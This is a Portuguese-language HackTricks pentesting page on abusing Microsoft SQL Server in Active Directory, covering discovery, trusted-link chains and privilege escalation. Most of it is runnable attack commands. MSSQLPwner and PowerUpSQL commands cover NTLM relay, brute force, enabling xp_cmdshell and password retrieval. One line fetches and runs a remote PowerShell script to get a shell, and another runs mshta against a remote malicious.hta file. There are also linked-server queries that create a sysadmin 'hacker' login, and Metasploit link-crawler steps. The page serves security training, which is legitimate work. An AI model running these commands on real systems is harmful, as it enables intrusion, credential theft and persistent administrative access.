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https://github.com/carlospolop/hacktricks
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276 lines
14 KiB
Markdown
276 lines
14 KiB
Markdown
# MSSQL AD Abuse
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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## **MSSQL Enumeração / Descoberta**
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### Python
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A ferramenta [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) é baseada no impacket e também permite autenticar usando tickets kerberos e atacar através de cadeias de links.
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<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
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```shell
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# Interactive mode
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
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# Interactive mode with 2 depth level of impersonations
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
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# Executing custom assembly on the current server with windows authentication and executing hostname command
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
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# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
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# Executing the hostname command using stored procedures on the linked SRV01 server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
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# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
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# Issuing NTLM relay attack on the SRV01 server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
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# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
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# Issuing NTLM relay attack on the local server with custom command
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
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# Executing direct query
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
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# Retrieving password from the linked server DC01
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
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# Execute code using custom assembly on the linked server DC01
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
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# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
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# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
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# Bruteforce using tickets against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
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# Bruteforce using passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
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# Bruteforce using hashes against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
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```
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### Enumerando a partir da rede sem sessão de domínio
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```
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# Interactive mode
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
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```
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---
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### Powershell
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O módulo powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) é muito útil neste caso.
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```powershell
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Import-Module .\PowerupSQL.psd1
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```
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### Enumerando a partir da rede sem sessão de domínio
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```powershell
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# Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#If you don't have a AD account, you can try to find MSSQL scanning via UDP
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#First, you will need a list of hosts to scan
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Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
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#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
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#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
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Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
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```
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### Enumerando de dentro do domínio
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```powershell
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# Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#Get info about valid MSQL instances running in domain
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#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
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Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
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#Test connections with each one
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Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
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#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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# Get DBs, test connections and get info in oneliner
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Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
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```
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## Abuso Básico do MSSQL
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### Acessar DB
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```powershell
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#Perform a SQL query
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
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#Dump an instance (a lotof CVSs generated in current dir)
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Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
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# Search keywords in columns trying to access the MSSQL DBs
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## This won't use trusted SQL links
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Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
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```
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### MSSQL RCE
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Pode também ser possível **executar comandos** dentro do host MSSQL
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```powershell
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Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
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# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
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```
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Verifique na página mencionada na **seção seguinte como fazer isso manualmente.**
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### Truques Básicos de Hacking MSSQL
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{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
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[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
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{% endcontent-ref %}
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## Links Confiáveis MSSQL
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Se uma instância MSSQL é confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tem privilégios sobre o banco de dados confiável, ele poderá **usar o relacionamento de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar algum banco de dados mal configurado onde ele pode executar comandos.
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**Os links entre bancos de dados funcionam mesmo através de confianças de floresta.**
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### Abuso do Powershell
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```powershell
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#Look for MSSQL links of an accessible instance
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Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
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#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
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#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
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Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
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#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
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#Obtain a shell
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Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
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#Check for possible vulnerabilities on an instance where you have access
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Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
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#Try to escalate privileges on an instance
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Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
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#Manual trusted link queery
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
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## Enable xp_cmdshell and check it
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
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## If you see the results of @@selectname, it worked
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Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
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```
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### Metasploit
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Você pode facilmente verificar links confiáveis usando metasploit.
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```bash
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#Set username, password, windows auth (if using AD), IP...
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msf> use exploit/windows/mssql/mssql_linkcrawler
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[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
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```
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Note que o metasploit tentará abusar apenas da função `openquery()` no MSSQL (então, se você não conseguir executar comandos com `openquery()`, precisará tentar o método `EXECUTE` **manualmente** para executar comandos, veja mais abaixo.)
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### Manual - Openquery()
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A partir do **Linux**, você pode obter um shell de console MSSQL com **sqsh** e **mssqlclient.py.**
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A partir do **Windows**, você também pode encontrar os links e executar comandos manualmente usando um **cliente MSSQL como** [**HeidiSQL**](https://www.heidisql.com)
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_Faça login usando autenticação do Windows:_
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.png>)
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#### Encontrar Links Confiáveis
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```sql
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select * from master..sysservers;
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EXEC sp_linkedservers;
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```
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.png>)
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#### Execute queries in trustable link
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Execute queries através do link (exemplo: encontre mais links na nova instância acessível):
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```sql
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select * from openquery("dcorp-sql1", 'select * from master..sysservers')
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```
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{% hint style="warning" %}
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Verifique onde aspas duplas e simples são usadas, é importante usá-las dessa forma.
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{% endhint %}
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.png>)
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Você pode continuar essa cadeia de links confiáveis para sempre manualmente.
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```sql
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# First level RCE
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SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
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# Second level RCE
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SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
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```
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Se você não consegue realizar ações como `exec xp_cmdshell` a partir de `openquery()`, tente com o método `EXECUTE`.
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### Manual - EXECUTE
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Você também pode abusar de links confiáveis usando `EXECUTE`:
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```bash
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#Create user and give admin privileges
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EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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```
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## Escalação de Privilégios Local
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O **usuário local do MSSQL** geralmente possui um tipo especial de privilégio chamado **`SeImpersonatePrivilege`**. Isso permite que a conta "imite um cliente após a autenticação".
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Uma estratégia que muitos autores desenvolveram é forçar um serviço do SYSTEM a se autenticar em um serviço malicioso ou man-in-the-middle que o atacante cria. Esse serviço malicioso é então capaz de imitar o serviço do SYSTEM enquanto tenta se autenticar.
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[SweetPotato](https://github.com/CCob/SweetPotato) possui uma coleção dessas várias técnicas que podem ser executadas através do comando `execute-assembly` do Beacon.
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<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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{% hint style="success" %}
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||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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||
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<details>
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<summary>Support HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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{% endhint %}
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